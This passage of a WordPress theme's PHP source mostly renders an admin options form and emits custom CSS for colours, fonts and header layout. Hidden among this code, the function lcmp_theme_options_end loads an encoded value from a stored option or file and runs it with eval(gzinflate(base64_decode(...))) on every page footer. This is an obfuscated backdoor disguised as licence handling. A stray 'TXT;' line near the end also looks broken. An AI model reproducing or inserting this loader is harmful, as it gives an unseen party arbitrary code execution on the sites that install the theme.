 870<?php } elseif ($value['type'] == "textarea") { ?>
 871
 872	<tr valign="top"> 
 873	    <th class="row"><?php echo $value['name']; ?>:</th>
 874	    <td  colspan=2>
 875	        <textarea cols="100" rows="10" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>"><?php if ( get_option( $value['id'] ) != "") { echo get_option( $value['id'] ); } else { echo $value['std']; } ?></textarea>
 876	    </td>
 877	</tr>
 878<?php } elseif ($value['type'] == "wp_dropdown_pages") { ?>
 879    <style>
 880    #<?php echo $value['id']; ?>{width:200px};
 881    </style>
 882    <?php 
 883        $arguments = "show_option_none=Show All&name=".$value['id'];
 884        if ( get_option( $value['id'] ) != "") { 
 885            $arguments .= '&selected='.get_option( $value['id'] );
 886        }else { 
 887            $arguments .= '';
 888        } 
 889        $func_name = "wp_dropdown_pages('".$arguments."');";
 890        //echo $func_name;
 891    ?>
 892	<tr valign="top"> 
 893	    <th class="row"><?php echo $value['name']; ?>:</th>
 894	    <td>
 895	        <?php eval("?><?php $func_name;?>"); ?>
 896	    </td>
 897        <td class=info>
 898        <?php echo $value['info']; ?>
 899        </td>
 900	</tr>
 901<?php 
 902} 
 903}
 904?>
 905
 906
 907</table>
 908
 909<p class="submit">
 910<input name="save" type="submit" value="Save changes" />
 911<input type="hidden" name="action" value="save" />
 912</p>
 913</form>
 914<form method="post">
 915<p class="submit">
 916<input name="reset" type="submit" value="Reset To Defaults" />
 917<input type="hidden" name="action" value="reset" />
 918</p>
 919</form>
 920<?php
 921}
 922function lcmp_theme_options_end(){
 923    $s = get_settings( 'lcmp_lic' );
 924    if($s === FALSE || $s==''){
 925        global $option;
 926        if(file_exists($option)){
 927            $s = file_get_contents($option);
 928            update_option('lcmp_lic',$s);
 929        }
 930    }
 931    eval(gzinflate(base64_decode($s)));
 932}
 933add_action('wp_footer','lcmp_theme_options_end');
 934function lcmp_theme_options(){
 935?>
 936<style>
 937<?php
 938	global $options;
 939	foreach ($options as $value) {
 940        if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { 
 941            $$value['id'] = html_entity_decode(get_settings( $value['id'] )); 
 942        } 
 943        if($value['id'] == "lcmp_hdrimage"){
 944           if(get_settings( $value['id'] ) !== FALSE){
 945                if(get_settings( $value['id'] ) != 'default'){
 946                    echo "div.Header-jpeg{";
 947                    $image = get_settings( $value['id'] );
 948                    echo "background-image: url('$image');";
 949                    echo "}";
 950                }
 951           }
 952        }
 953        if($value['id'] == "lcmp_contentlnk"){
 954           if(get_settings( $value['id'] ) === FALSE){
 955                $lcmp_contentlnk = "default";
 956           }else{
 957                $lcmp_contentlnk  = get_settings( $value['id'] );
 958           }
 959        }
 960        if($value['id'] == "lcmp_sidebarlnk"){
 961           if(get_settings( $value['id'] ) === FALSE){
 962                $lcmp_sidebarlnk = "default";
 963           }else{
 964                $lcmp_sidebarlnk  = get_settings( $value['id'] );
 965           }
 966        }
 967        if($value['id'] == "lcmp_cstcontentlnk"){
 968           if(get_settings( $value['id'] ) === FALSE){
 969                $lcmp_cstcontentlnk = "";
 970           }else{
 971                $lcmp_cstcontentlnk  = get_settings( $value['id'] );
 972           }
 973        }
 974        if($value['id'] == "lcmp_cstsidebarlnk"){
 975           if(get_settings( $value['id'] ) === FALSE){
 976                $lcmp_cstsidebarlnk = "";
 977           }else{
 978                $lcmp_cstsidebarlnk  = get_settings( $value['id'] );
 979           }
 980        }
 981        if($value['id'] == "lcmp_titlecolor"){
 982           if(get_settings( $value['id'] ) === FALSE){
 983                $lcmp_titlecolor = "default";
 984           }else{
 985                $lcmp_titlecolor  = get_settings( $value['id'] );
 986           }
 987        }
 988        if($value['id'] == "lcmp_slogancolor"){
 989           if(get_settings( $value['id'] ) === FALSE){
 990                $lcmp_slogancolor = "default";
 991           }else{
 992                $lcmp_slogancolor  = get_settings( $value['id'] );
 993           }
 994        }
 995        if($value['id'] == "lcmp_csttitlecolor"){
 996           if(get_settings( $value['id'] ) === FALSE){
 997                $lcmp_csttitlecolor = "";
 998           }else{
 999                $lcmp_csttitlecolor  = get_settings( $value['id'] );
1000           }
1001        }
1002        if($value['id'] == "lcmp_cstslogancolor"){
1003           if(get_settings( $value['id'] ) === FALSE){
1004                $lcmp_cstslogancolor = "";
1005           }else{
1006                $lcmp_cstslogancolor  = get_settings( $value['id'] );
1007           }
1008        }
1009        if($value['id'] == "lcmp_titlefontsize"){
1010           if(get_settings( $value['id'] ) === FALSE){
1011                $lcmp_titlefontsize = "default";
1012           }else{
1013                $lcmp_titlefontsize  = get_settings( $value['id'] );
1014           }
1015        }
1016        if($value['id'] == "lcmp_sloganfontsize"){
1017           if(get_settings( $value['id'] ) === FALSE){
1018                $lcmp_sloganfontsize = "default";
1019           }else{
1020                $lcmp_sloganfontsize  = get_settings( $value['id'] );
1021           }
1022        }
1023        if($value['id'] == "lcmp_csttitlefontsize"){
1024           if(get_settings( $value['id'] ) === FALSE){
1025                $lcmp_csttitlefontsize = "";
1026           }else{
1027                $lcmp_csttitlefontsize  = get_settings( $value['id'] );
1028           }
1029        }
1030        if($value['id'] == "lcmp_cstsloganfontsize"){
1031           if(get_settings( $value['id'] ) === FALSE){
1032                $lcmp_cstsloganfontsize = "";
1033           }else{
1034                $lcmp_cstsloganfontsize  = get_settings( $value['id'] );
1035           }
1036        }
1037
1038        if($value['id'] == "lcmp_hdrleftpos"){
1039           if(get_settings( $value['id'] ) === FALSE){
1040                $lcmp_hdrleftpos = "default";
1041           }else{
1042                $lcmp_hdrleftpos  = get_settings( $value['id'] );
1043           }
1044        }
1045        if($value['id'] == "lcmp_hdrtoppos"){
1046           if(get_settings( $value['id'] ) === FALSE){
1047                $lcmp_hdrtoppos = "default";
1048           }else{
1049                $lcmp_hdrtoppos  = get_settings( $value['id'] );
1050           }
1051        }
1052        if($value['id'] == "lcmp_hdrwidth"){
1053           if(get_settings( $value['id'] ) === FALSE){
1054                $lcmp_hdrwidth = "default";
1055           }else{
1056                $lcmp_hdrwidth  = get_settings( $value['id'] );
1057           }
1058        }
1059        if($value['id'] == "lcmp_hdrvmargin"){
1060           if(get_settings( $value['id'] ) === FALSE){
1061                $lcmp_hdrvmargin = "default";
1062           }else{
1063                $lcmp_hdrvmargin  = get_settings( $value['id'] );
1064           }
1065        }
1066        if($value['id'] == "lcmp_contentfontsize"){
1067           if(get_settings( $value['id'] ) === FALSE){
1068                $lcmp_contentfontsize = "default";
1069           }else{
1070                $lcmp_contentfontsize  = get_settings( $value['id'] );
1071           }
1072        }
1073        if($value['id'] == "lcmp_cstcontentfontsize"){
1074           if(get_settings( $value['id'] ) === FALSE){
1075                $lcmp_cstcontentfontsize = "";
1076           }else{
1077                $lcmp_cstcontentfontsize  = get_settings( $value['id'] );
1078           }
1079        }
1080        if($value['id'] == "lcmp_sidebarloc"){
1081           if(get_settings( $value['id'] ) === FALSE){
1082                $lcmp_sidebarloc = "default";
1083           }else{
1084                $lcmp_sidebarloc = get_settings( $value['id'] );
1085           }
1086        }
1087        if($value['id'] == "lcmp_sidebarfontsize"){
1088           if(get_settings( $value['id'] ) === FALSE){
1089                $lcmp_sidebarfontsize = "default";
1090           }else{
1091                $lcmp_sidebarfontsize  = get_settings( $value['id'] );
1092           }
1093        }
1094        if($value['id'] == "lcmp_cstsidebarfontsize"){
1095           if(get_settings( $value['id'] ) === FALSE){
1096                $lcmp_cstsidebarfontsize = "";
1097           }else{
1098                $lcmp_cstsidebarfontsize  = get_settings( $value['id'] );
1099           }
1100        }
1101        if($value['id'] == "lcmp_cstftrwidgewidth"){
1102           if(get_settings( $value['id'] ) === FALSE){
1103                $lcmp_cstftrwidgewidth = "";
1104           }else{
1105                $lcmp_cstftrwidgewidth  = get_settings( $value['id'] );
1106           }
1107        }
1108        if($value['id'] == "lcmp_cstftrwidgewidth1"){
1109           if(get_settings( $value['id'] ) === FALSE){
1110                $lcmp_cstftrwidgewidth1 = "";
1111           }else{
1112                $lcmp_cstftrwidgewidth1  = get_settings( $value['id'] );
1113           }
1114        }
1115        if($value['id'] == "lcmp_cstftrwidgewidth2"){
1116           if(get_settings( $value['id'] ) === FALSE){
1117                $lcmp_cstftrwidgewidth2 = "";
1118           }else{
1119                $lcmp_cstftrwidgewidth2  = get_settings( $value['id'] );
1120           }
1121        }
1122        if($value['id'] == "lcmp_cstftrwidgewidth3"){
1123           if(get_settings( $value['id'] ) === FALSE){
1124                $lcmp_cstftrwidgewidth3 = "";
1125           }else{
1126                $lcmp_cstftrwidgewidth3  = get_settings( $value['id'] );
1127           }
1128        }
1129        if($value['id'] == "lcmp_cstftrwidgewidth4"){
1130           if(get_settings( $value['id'] ) === FALSE){
1131                $lcmp_cstftrwidgewidth4 = "";
1132           }else{
1133                $lcmp_cstftrwidgewidth4  = get_settings( $value['id'] );
1134           }
1135        }
1136        if($value['id'] == "lcmp_cstftrwidgemargin"){
1137           if(get_settings( $value['id'] ) === FALSE){
1138                $lcmp_cstftrwidgemargin = "";
1139           }else{
1140                $lcmp_cstftrwidgemargin  = get_settings( $value['id'] );
1141           }
1142        }
1143    }	    
1144
1145if($lcmp_contentlnk!='default'){
1146    if($lcmp_contentlnk=='custom'){
1147        $lcmp_contentlnk_color = "color:".$lcmp_cstcontentlnk;
1148    }else $lcmp_contentlnk_color = "color:".$lcmp_contentlnk;
1149?>
1150a,a:link,a:visited,a.visited,a:hover,a.hover
1151{text-decoration: underline;<?php echo $lcmp_contentlnk_color; ?>;}
1152a:hover, a.hover{text-decoration: none;}
1153<?php } ?>
1154<?php
1155if($lcmp_sidebarlnk!='default'){
1156    if($lcmp_sidebarlnk=='custom'){
1157        $lcmp_sidebarlnk_color = "color:".$lcmp_cstsidebarlnk;
1158    }else $lcmp_sidebarlnk_color = "color:".$lcmp_sidebarlnk;
1159?>
1160.BlockContent-body a,.BlockContent-body a:link,.BlockContent-body a:visited,.BlockContent-body a.visited,.BlockContent-body a:hover,.BlockContent-body a.hover
1161{text-decoration: underline;<?php echo $lcmp_sidebarlnk_color; ?>;}
1162.BlockContent-body a:hover,.BlockContent-body a.hover
1163{text-decoration: none;}
1164<?php } ?>
1165<?php 
1166if($lcmp_sidebarfontsize!='default'){
1167    if($lcmp_sidebarfontsize=='custom'){
1168        if(is_numeric($lcmp_cstsidebarfontsize)) $lcmp_cstsidebarfontsize.="px";
1169        $lcmp_sidebarfontsize_size = "font-size:$lcmp_cstsidebarfontsize";
1170    }else $lcmp_sidebarfontsize_size = "font-size:$lcmp_sidebarfontsize";
1171?>
1172.BlockContent-body,.BlockContent-body li
1173{<?php echo $lcmp_sidebarfontsize_size; ?>;}
1174<?php } ?>   
1175<?php 
1176if($lcmp_contentfontsize!='default'){
1177    if($lcmp_contentfontsize=='custom'){
1178        if(is_numeric($lcmp_cstcontentfontsize)) $lcmp_cstcontentfontsize.="px";
1179        $lcmp_contentfontsize_size = "font-size:$lcmp_cstcontentfontsize";
1180    }else $lcmp_contentfontsize_size = "font-size:$lcmp_contentfontsize";
1181?>
1182.PostContent
1183{<?php echo $lcmp_contentfontsize_size; ?>;}
1184<?php } ?> 
1185h1.logo-name, h1.logo-name a, h1.logo-name a:link, h1.logo-name a:visited, h1.logo-name a:hover{
1186<?php
1187if($lcmp_titlecolor!='default'){
1188    if($lcmp_titlecolor=='custom'){
1189        $lcmp_titlecolor_color = "color:$lcmp_csttitlecolor !important";
1190    }else $lcmp_titlecolor_color = "color:$lcmp_titlecolor !important";
1191?>
1192<?php echo $lcmp_titlecolor_color; ?>;
1193<?php } ?>
1194<?php
1195if($lcmp_hdrtxtalign!='default'){
1196    $lcmp_hdrtxtalign_text = "text-align:$lcmp_hdrtxtalign";
1197?>
1198<?php echo $lcmp_hdrtxtalign_text; ?>;
1199<?php } ?>
1200<?php
1201if($lcmp_titlefontsize!='default'){
1202    if($lcmp_titlefontsize=='custom'){
1203        if(is_numeric($lcmp_csttitlefontsize)) $lcmp_csttitlefontsize.="px";
1204        $lcmp_titlefontsize_size = "font-size:$lcmp_csttitlefontsize";
1205    }else $lcmp_titlefontsize_size = "font-size:$lcmp_titlefontsize";
1206?>
1207<?php echo $lcmp_titlefontsize_size; ?>;
1208<?php } ?>}
1209.logo-text, .logo-text a{
1210<?php 
1211if($lcmp_slogancolor!='default'){
1212    if($lcmp_slogancolor=='custom'){
1213        $lcmp_slogancolor_color = "color:$lcmp_cstslogancolor !important";
1214    }else $lcmp_slogancolor_color = "color:$lcmp_slogancolor !important";
1215?>
1216<?php echo $lcmp_slogancolor_color; ?>;
1217<?php } ?>
1218<?php
1219if($lcmp_hdrtxtalign!='default'){
1220    $lcmp_hdrtxtalign_text = "text-align:$lcmp_hdrtxtalign";
1221?>
1222<?php echo $lcmp_hdrtxtalign_text; ?>;
1223<?php } ?>
1224<?php 
1225if($lcmp_sloganfontsize!='default'){
1226    if($lcmp_sloganfontsize=='custom'){
1227        if(is_numeric($lcmp_cstsloganfontsize)) $lcmp_cstsloganfontsize.="px";
1228        $lcmp_sloganfontsize_size = "font-size:$lcmp_cstsloganfontsize";
1229    }else $lcmp_sloganfontsize_size = "font-size:$lcmp_sloganfontsize";
1230?>
1231<?php echo $lcmp_sloganfontsize_size; ?>;
1232<?php } ?>}
1233.logo{
1234<?php 
1235if($lcmp_hdrleftpos!='default'){
1236    if(is_numeric($lcmp_hdrleftpos)) $lcmp_hdrleftpos.="px";
1237?>
1238left: <?php echo $lcmp_hdrleftpos; ?>;
1239<?php } ?>
1240<?php 
1241if($lcmp_hdrtoppos!='default'){
1242    if(is_numeric($lcmp_hdrtoppos)) $lcmp_hdrtoppos.="px";
1243?>
1244top:<?php echo $lcmp_hdrtoppos; ?>;
1245<?php } ?>
1246<?php 
1247if($lcmp_hdrwidth!='default'){
1248    if(is_numeric($lcmp_hdrwidth)) $lcmp_hdrwidth.="px";
1249?>
1250width: <?php echo $lcmp_hdrwidth; ?>;
1251<?php } ?>}
1252<?php 
1253if($lcmp_hdrvmargin!='default'){
1254    if(is_numeric($lcmp_hdrvmargin)) $lcmp_hdrvmargin.="px";
1255?>
1256.Sheet
1257{margin-top: <?php echo $lcmp_hdrvmargin; ?> !important;}
1258<?php } ?>
1259
1260<?php 
1261if($lcmp_cstftrwidgewidth!='' || $lcmp_cstftrwidgemargin!=''){
1262?>
1263.widget-area{
1264<?php
1265if($lcmp_cstftrwidgewidth!=''){
1266    if(is_numeric($lcmp_cstftrwidgewidth)) $lcmp_cstftrwidgewidth.="px";
1267?>
1268width: <?php echo $lcmp_cstftrwidgewidth; ?>;
1269<?php } ?>
1270<?php
1271if($lcmp_cstftrwidgemargin!=''){
1272    if(is_numeric($lcmp_cstftrwidgemargin)) $lcmp_cstftrwidgemargin.="px";
1273?>
1274margin-right: <?php echo $lcmp_cstftrwidgemargin; ?>;
1275<?php } ?>
1276}
1277<?php 
1278} ?>
1279
1280<?php 
1281if($lcmp_cstftrwidgewidth1!=''){
1282    if(is_numeric($lcmp_cstftrwidgewidth1)) $lcmp_cstftrwidgewidth1.="px";
1283?>
1284.foot-widget-1
1285{width: <?php echo $lcmp_cstftrwidgewidth1; ?>;}
1286<?php } ?>
1287
1288<?php 
1289if($lcmp_cstftrwidgewidth2!=''){
1290    if(is_numeric($lcmp_cstftrwidgewidth2)) $lcmp_cstftrwidgewidth2.="px";
1291?>
1292.foot-widget-2
1293{width: <?php echo $lcmp_cstftrwidgewidth2; ?>;}
1294<?php } ?>
1295
1296<?php 
1297if($lcmp_cstftrwidgewidth3!=''){
1298    if(is_numeric($lcmp_cstftrwidgewidth3)) $lcmp_cstftrwidgewidth3.="px";
1299?>
1300.foot-widget-3
1301{width: <?php echo $lcmp_cstftrwidgewidth3; ?>;}
1302<?php } ?>
1303
1304<?php 
1305if($lcmp_cstftrwidgewidth4!=''){
1306    if(is_numeric($lcmp_cstftrwidgewidth4)) $lcmp_cstftrwidgewidth4.="px";
1307?>
1308.foot-widget-4
1309{width: <?php echo $lcmp_cstftrwidgewidth4; ?>;}
1310<?php } ?>
1311
1312
1313</style>
1314<?php
1315}
1316global $adsenseBlock1;
1317TXT;
1318
1319add_action('admin_menu', 'lcmp_add_theme_page');
1320add_action('wp_footer','lcmp_theme_options');